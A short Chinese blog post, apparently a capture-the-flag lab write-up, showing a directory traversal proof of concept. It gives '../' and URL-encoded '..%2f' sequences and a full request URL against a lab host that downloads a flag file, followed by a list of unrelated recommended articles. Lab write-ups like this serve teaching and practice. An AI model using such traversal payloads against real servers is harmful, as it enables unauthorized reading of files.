1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
其实防守也摸鱼14 分钟前
信创安全竞赛知识总结与题库万联WANFLOW27 分钟前
异地厂区视频监控远程运维：从组网到安全的实施要点长不大的杨瑞杰1 小时前
OpenCode v2 配置工程实战：Config 优先级、JSONC、变量替换与多环境治理航天智算2 小时前
航天智算 HTZS-1700 全信创网络安全移动工作站深度评测斗象科技2 小时前
斗象入选上海市“AI+制造“服务商能力图谱·AI安全服务商longzhizhui9262 小时前
Ubuntu 全版本 CVE-2026-98432 内核安全升级操作手册科技小登3 小时前
出海高防CDN怎么选？CDN加速、边缘清洗与跨境回源POC指南中二骚年4 小时前
Windows 安全中心 / 防火墙故障，calc和Microsoft Store，终端（管理员）无法正常打开。 原因 + 修复方案QXWZ_IA4 小时前
无人机自主巡检从半自动到全闭环的阶段划分与定位要求QXWZ_IA5 小时前
低空经济下电力无人机巡检定位的能力演进与应用趋势